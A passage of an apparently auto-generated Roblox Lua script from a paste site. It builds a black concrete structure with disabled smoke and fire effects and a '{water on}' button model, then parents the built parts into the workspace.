- Part55.BrickColor = BrickColor.new("Really black")
- Part55.Rotation = Vector3.new(180, -90, 0)
- Part55.Anchored = true
- Part55.FormFactor = Enum.FormFactor.Symmetric
- Part55.Size = Vector3.new(2, 1, 2)
- Part55.CFrame = CFrame.new(-21.9399834, 13.9800367, -25.8499947, -0, -0, -1, -0, -1, -0, -1, -0, -0)
- Part55.BackSurface = Enum.SurfaceType.Weld
- Part55.BottomSurface = Enum.SurfaceType.Weld
- Part55.FrontSurface = Enum.SurfaceType.Weld
- Part55.LeftSurface = Enum.SurfaceType.Weld
- Part55.RightSurface = Enum.SurfaceType.Weld
- Part55.TopSurface = Enum.SurfaceType.Hinge
- Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part55.Position = Vector3.new(-21.9399834, 13.9800367, -25.8499947)
- Part55.Orientation = Vector3.new(0, -90, -180)
- Part55.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke56.Parent = Part55
- Smoke56.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke56.Enabled = false
- Smoke56.Opacity = 1
- Smoke56.RiseVelocity = 25
- Smoke56.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh57.Parent = Part55
- Part58.Name = "smoke4"
- Part58.Parent = Model41
- Part58.BrickColor = BrickColor.new("Really black")
- Part58.Rotation = Vector3.new(180, 0, 0)
- Part58.Anchored = true
- Part58.FormFactor = Enum.FormFactor.Symmetric
- Part58.Size = Vector3.new(2, 1, 2)
- Part58.CFrame = CFrame.new(-11.9399815, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
- Part58.BackSurface = Enum.SurfaceType.Weld
- Part58.BottomSurface = Enum.SurfaceType.Weld
- Part58.FrontSurface = Enum.SurfaceType.Weld
- Part58.LeftSurface = Enum.SurfaceType.Weld
- Part58.RightSurface = Enum.SurfaceType.Weld
- Part58.TopSurface = Enum.SurfaceType.Hinge
- Part58.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part58.Position = Vector3.new(-11.9399815, 13.9800367, -16.8499947)
- Part58.Orientation = Vector3.new(0, -180, 180)
- Part58.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke59.Parent = Part58
- Smoke59.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke59.Enabled = false
- Smoke59.Opacity = 1
- Smoke59.RiseVelocity = 25
- Smoke59.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh60.Parent = Part58
- Part61.Name = "smoke5"
- Part61.Parent = Model41
- Part61.BrickColor = BrickColor.new("Really black")
- Part61.Rotation = Vector3.new(180, 0, 0)
- Part61.Anchored = true
- Part61.FormFactor = Enum.FormFactor.Symmetric
- Part61.Size = Vector3.new(2, 1, 2)
- Part61.CFrame = CFrame.new(-16.9399815, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
- Part61.BackSurface = Enum.SurfaceType.Weld
- Part61.BottomSurface = Enum.SurfaceType.Weld
- Part61.FrontSurface = Enum.SurfaceType.Weld
- Part61.LeftSurface = Enum.SurfaceType.Weld
- Part61.RightSurface = Enum.SurfaceType.Weld
- Part61.TopSurface = Enum.SurfaceType.Hinge
- Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part61.Position = Vector3.new(-16.9399815, 13.9800367, -16.8499947)
- Part61.Orientation = Vector3.new(0, -180, 180)
- Part61.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke62.Parent = Part61
- Smoke62.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke62.Enabled = false
- Smoke62.Opacity = 1
- Smoke62.RiseVelocity = 25
- Smoke62.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh63.Parent = Part61
- Part64.Name = "smoke6"
- Part64.Parent = Model41
- Part64.BrickColor = BrickColor.new("Really black")
- Part64.Rotation = Vector3.new(180, 0, 0)
- Part64.Anchored = true
- Part64.FormFactor = Enum.FormFactor.Symmetric
- Part64.Size = Vector3.new(2, 1, 2)
- Part64.CFrame = CFrame.new(-21.9399834, 13.9800367, -16.8499947, 1, -0, -0, 0, -1, -0, 0, -0, -1)
- Part64.BackSurface = Enum.SurfaceType.Weld
- Part64.BottomSurface = Enum.SurfaceType.Weld
- Part64.FrontSurface = Enum.SurfaceType.Weld
- Part64.LeftSurface = Enum.SurfaceType.Weld
- Part64.RightSurface = Enum.SurfaceType.Weld
- Part64.TopSurface = Enum.SurfaceType.Hinge
- Part64.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part64.Position = Vector3.new(-21.9399834, 13.9800367, -16.8499947)
- Part64.Orientation = Vector3.new(0, -180, 180)
- Part64.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Smoke65.Parent = Part64
- Smoke65.Color = Color3.new(0.301961, 0.301961, 0.301961)
- Smoke65.Enabled = false
- Smoke65.Opacity = 1
- Smoke65.RiseVelocity = 25
- Smoke65.Color = Color3.new(0.301961, 0.301961, 0.301961)
- BlockMesh66.Parent = Part64
- Part67.Parent = Model0
- Part67.Material = Enum.Material.Concrete
- Part67.BrickColor = BrickColor.new("Really black")
- Part67.Rotation = Vector3.new(180, 0, -180)
- Part67.Anchored = true
- Part67.Size = Vector3.new(1, 1.20000005, 16)
- Part67.CFrame = CFrame.new(-26.4399834, 3.28001118, -20.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part67.TopSurface = Enum.SurfaceType.Smooth
- Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part67.Position = Vector3.new(-26.4399834, 3.28001118, -20.8499947)
- Part67.Orientation = Vector3.new(0, -180, 0)
- Part67.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire68.Parent = Part67
- Fire68.Size = 30
- Fire68.Color = Color3.new(0, 0, 1)
- Fire68.Enabled = false
- Fire68.Heat = 25
- Fire68.SecondaryColor = Color3.new(1, 1, 1)
- Fire68.Color = Color3.new(0, 0, 1)
- BlockMesh69.Parent = Part67
- Part70.Parent = Model0
- Part70.Material = Enum.Material.Concrete
- Part70.BrickColor = BrickColor.new("Really black")
- Part70.Rotation = Vector3.new(180, 0, -180)
- Part70.Anchored = true
- Part70.Size = Vector3.new(1, 2.4000001, 2)
- Part70.CFrame = CFrame.new(-26.4399834, 5.08001518, -17.8499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part70.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part70.Position = Vector3.new(-26.4399834, 5.08001518, -17.8499947)
- Part70.Orientation = Vector3.new(0, -180, 0)
- Part70.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh71.Parent = Part70
- Part72.Parent = Model0
- Part72.Material = Enum.Material.Concrete
- Part72.BrickColor = BrickColor.new("Really black")
- Part72.Rotation = Vector3.new(180, 0, -180)
- Part72.Anchored = true
- Part72.Size = Vector3.new(17, 12, 1)
- Part72.CFrame = CFrame.new(-17.4399815, 8.68000698, -29.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part72.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part72.Position = Vector3.new(-17.4399815, 8.68000698, -29.3499947)
- Part72.Orientation = Vector3.new(0, -180, 0)
- Part72.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh73.Parent = Part72
- Model74.Name = "{water on}"
- Model74.Parent = Model0
- Humanoid75.Parent = Model74
- Humanoid75.Health = 0
- Humanoid75.MaxHealth = 0
- Part76.Name = "Head"
- Part76.Parent = Model74
- Part76.BrickColor = BrickColor.new("Really black")
- Part76.Rotation = Vector3.new(90, 0, 0)
- Part76.Anchored = true
- Part76.FormFactor = Enum.FormFactor.Plate
- Part76.Size = Vector3.new(2, 0.400000006, 1)
- Part76.CFrame = CFrame.new(-16.9399815, 4.18001747, -12.6499977, 1, 0, -0, 0, 0, -1, 0, 1, -0)
- Part76.TopSurface = Enum.SurfaceType.Smooth
- Part76.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part76.Position = Vector3.new(-16.9399815, 4.18001747, -12.6499977)
- Part76.Orientation = Vector3.new(90, 0, 0)
- Part76.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Fire77.Parent = Part76
- Fire77.Size = 30
- Fire77.Color = Color3.new(0, 0, 1)
- Fire77.Enabled = false
- Fire77.Heat = 25
- Fire77.SecondaryColor = Color3.new(1, 1, 1)
- Fire77.Color = Color3.new(0, 0, 1)
- Part78.Parent = Model0
- Part78.Material = Enum.Material.Concrete
- Part78.BrickColor = BrickColor.new("Really black")
- Part78.Rotation = Vector3.new(180, 0, -180)
- Part78.Anchored = true
- Part78.Size = Vector3.new(1, 12, 17)
- Part78.CFrame = CFrame.new(-8.43998146, 8.68000698, -21.3499947, -1, 0, -0, -0, 1, -0, -0, 0, -1)
- Part78.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part78.Position = Vector3.new(-8.43998146, 8.68000698, -21.3499947)
- Part78.Orientation = Vector3.new(0, -180, 0)
- Part78.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh79.Parent = Part78
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = workspace
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
Add Comment
Please, Sign In to add comment